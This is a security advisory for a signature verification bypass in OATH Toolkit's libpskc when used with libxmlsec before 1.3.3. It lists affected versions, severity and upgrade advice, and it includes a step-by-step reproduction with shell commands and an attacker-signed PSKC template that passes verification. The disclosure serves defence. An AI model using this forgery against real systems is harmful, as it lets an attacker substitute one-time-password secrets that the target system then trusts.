OATH Toolkit PSKC Signature Verification bypass in libpskc (CVE-2026-109117)
Security Vulnerability
OATH Toolkit provides a library for handling PSKC data called libpskc, and a command-line tool pskctool that uses libpskc.
PSKC is a XML data format defined in RFC 6030 that can be used to transport OATH HOTP/TOTP HMAC-SHA symmetric secret keys. Libpskc relies on the XML Security Library (libxmlsec) for cryptographic signature verification of the PSKC data.
The RFC 6030 specification section 7 available from https://datatracker.ietf.org/doc/html/rfc6030#section-7 is not clear what the purpose and goal of adding a Digital Signature on PSKC data is, nor what the threat model is. It could be argued that rather than authenticating the data for trust purposes, the goal of a PSKC signature could be to provide integrity protection of the content and a data origin identification.
The libxmlsec library before v1.3.3 allowed the XML data to provide a key that will be used to verify the signature, instead of the key provided by the library/application. Version 1.3.3 of libxmlsec changed so that it no longer trusts the key data inside the XML data by default.
PSKC data is rarely encrypted (and OATH Toolkit do not support PSKC encryption), therefore deployments require some outer protection of the PSKC data to protect the OATH HOTP/TOTP secrets from leaking during transport. SSH and HTTPS are typical transport protocols used for this, although offline physical transports (e.g., USB memory devices) is common from production facilities.
However, if an attacker is able to circumvent the outer transport protection and substitute their own PSKC data to a system that relies on PSKC Signature Verification before trusting the incoming PSKC data, the attacker would be able to substitute their own OATH HOTP/TOTP secrets or otherwise cause the system to process the incoming PSKC data as trustworthy.
The problem only occurs when OATH Toolkit’s libpskc is linked to libxmlsec older than 1.3.3, which was released on 2024-01-04. The release notes for libxmlsec says:
(xmlsec-core) Disabled KeyValue and DEREncodedKeyValue XML nodes
by default. Use the '--enabled-key-data' option for the xmlsec
command line utility or update the 'keyInfoCtx.enabledKeyData'
parameter if you need to re-enable these nodes (also see question
3.5 in the FAQ).
The FAQ at https://www.aleksey.com/xmlsec/faq.html state that the old the behaviour is INSECURE AND NOT RECOMMENDED. Therefore we consider the underlying cause to be a libxmlsec security problem, which ought to have been patched and deployed earlier.
We encourage further research into other applications using libxmlsec that may be similarly affected. An earlier report from 2013 exists: https://www.aleksey.com/pipermail/xmlsec/2013/009717.html
Many distributions and deployments still uses libxmlsec 1.2.x including Debian 12 (1.2.37), Debian 13 (1.2.41), Ubuntu 22.04 (1.2.33), Ubuntu 24.04 (1.2.39) and RHEL 9 (1.2.33).
We are not aware of any active exploits in the wild of this flaw, and because of the outer protection required for PSKC data we do not know of, or can conceive, any realistic scenario where this problem could be exploited.
We acknowledge that this may be considered a problem in OATH Toolkit, and publish this advisory and a set of patches that prevents the problem from occurring when libpskc is used with older libxmlsec.
Severity: low. Likely no practical implications.
Affected versions and configurations
Support for sign/verify of PSKC data was introduced in version 2.0.1 released on 2012-10-24 and not fixed up to and including 2.6.14 released on 2026-01-27. Version 2.6.15 released on 2026-10-13 prevents the problem.
Reproduce
First create a baseline, with a sample PSKC file.
cat<<EOF>pskc.xml
<?xml version="1.0" encoding="UTF-8"?>
<KeyContainer Version="1.0" xmlns="urn:ietf:params:xml:ns:keyprov:pskc">
<KeyPackage>
<DeviceInfo>
<Manufacturer>Manufacturer</Manufacturer>
<SerialNo>987654321</SerialNo>
</DeviceInfo>
<Key Id="12345678"
Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp">
<AlgorithmParameters>
<ResponseFormat Length="8" Encoding="DECIMAL"/>
</AlgorithmParameters>
<Data>
<Secret>
<PlainValue>MTIzNDU2Nzg5MDEyMzQ1Njc4OTA=
</PlainValue>
</Secret>
<Counter>
<PlainValue>0</PlainValue>
</Counter>
</Data>
</Key>
</KeyPackage>
</KeyContainer>
EOF
Create a new trusted key and cert:
openssl req -x509 -newkey rsa:2048 -nodes -keyout trusted.key -out trusted.crt -days 3650 -subj "/CN=Trusted PSKC Signer"
Sign the PSKC data:
pskctool --sign --sign-key trusted.key --sign-crt trusted.crt pskc.xml > signed-legit.xml
Confirm verification works fine:
pskctool --verify --verify-crt trusted.crt signed-legit.xml
OK
Now simulate an attacker that uses a XML template like this:
cat<<EOF>attack-template.xml
<?xml version="1.0" encoding="UTF-8"?>
<KeyContainer Version="1.0" Id="KC0001" xmlns="urn:ietf:params:xml:ns:keyprov:pskc">
<KeyPackage>
<Key Id="12345678" Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp">
<Issuer>Attacker</Issuer>
<Data>
<Secret>
<PlainValue>QUJDREVGR0gK</PlainValue>
</Secret>
</Data>
</Key>
</KeyPackage>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue/>
</Reference>
</SignedInfo>
<SignatureValue/>
<KeyInfo>
<KeyValue/>
</KeyInfo>
</Signature>
</KeyContainer>
EOF
Create an attacker-controlled private key/cert and sign the PSKC data:
openssl req -x509 -newkey rsa:2048 -nodes -keyout attacker.key -out attacker.crt -days 3650 -subj "/CN=Attacker"
xmlsec1 --sign --privkey-pem attacker.key --output attack-signed.xml attack-template.xml
Now witness that pskctool says it is properly signed:
pskctool --verify --verify-crt trusted.crt attack-signed.xml
OK
If accepted by some processing entity, it would now trust the data and could rely on the OATH secret embedded in the file.
Recommendation
We recommend you to review your outer PSKC data transport protection to confirm it provides authenticity, integrity and confidentiality of your data before it reaches libpskc/pskctool.
As an additional precaution (if the outer protection fails), we recommend you to upgrade to OATH Toolkit 2.6.15 (or later) and/or upgrade libxmlsec to 1.3.3 (or later). If upgrading is unpractical we recommended you to apply the relevant patches on the versions you use.
Solution
The patch we use is to restrict KeyValue to X509Data only:
History
Report by private e-mail from info <info@uc.surf> on 2026-10-11. Correspondence about a proof-of-concept that lead to confirming the issue on 2026-10-12. CVE assigned by GitLab on 2026-10-12. Version 2.6.15 release on 2026-10-13.
Credits
Report by info <info@uc.surf>, advisory and patch by Simon Josefsson.